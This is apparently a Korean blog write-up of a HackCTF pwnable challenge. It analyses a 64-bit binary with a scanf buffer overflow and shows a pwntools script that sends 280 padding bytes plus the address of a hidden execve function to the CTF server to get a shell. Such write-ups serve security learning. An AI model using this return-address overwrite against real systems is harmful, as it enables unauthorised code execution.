Hack CTF pwnable 분야 이전 문제들에 대한 롸업은 Project H4C 게시판에 있다.
파일 명령어로 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.
파일을 실행하면 문자열을 입력받고, Hello 입력받은 문자열 의 형태로 출력하고 있다 .
checksec로 확인해보면 NX보호기법이 적용되어 있다.
info func로 함수 정보를 보면 다음과 같다.
execve 함수가 사용됨을 확인할 수 있고, main함수 말고, callMeMaybe 함수도 있는것을 확인할 수 있다.
main함수와 callMeMaybe 함수의 어셈 코드를 확인하면 다음과 같다.
main 함수에서 0x110(272)만큼의 공간을 할당하고, scanf함수로 입력을 받고 있고, callMeMaybe함수에서 execve 함수를 실행하고 있다. main함수의 입력받는 부분에서 bof를 발생시켜 callMeMaybe함수를 실행시킬 수 있을 것 같다. 입력값으로 272(buffer) + 8(SFP)를 채우고 ret에 callMeMaybe함수의 주소를 넣으면 될 것 같다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3004)
pay = "A"*280
pay += p64(0x0000000000400606)
p.sendline(pay)
p.interactive()
'Security & Hacking > Wargame' 카테고리의 다른 글
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.05.10 |
---|---|
[Hack CTF] x64 Simple_size_BOF (0) | 2021.04.25 |
[LoS] skeleton (0) | 2020.11.10 |
[LoS] vampire (0) | 2020.11.10 |
[LoS] troll (0) | 2020.11.06 |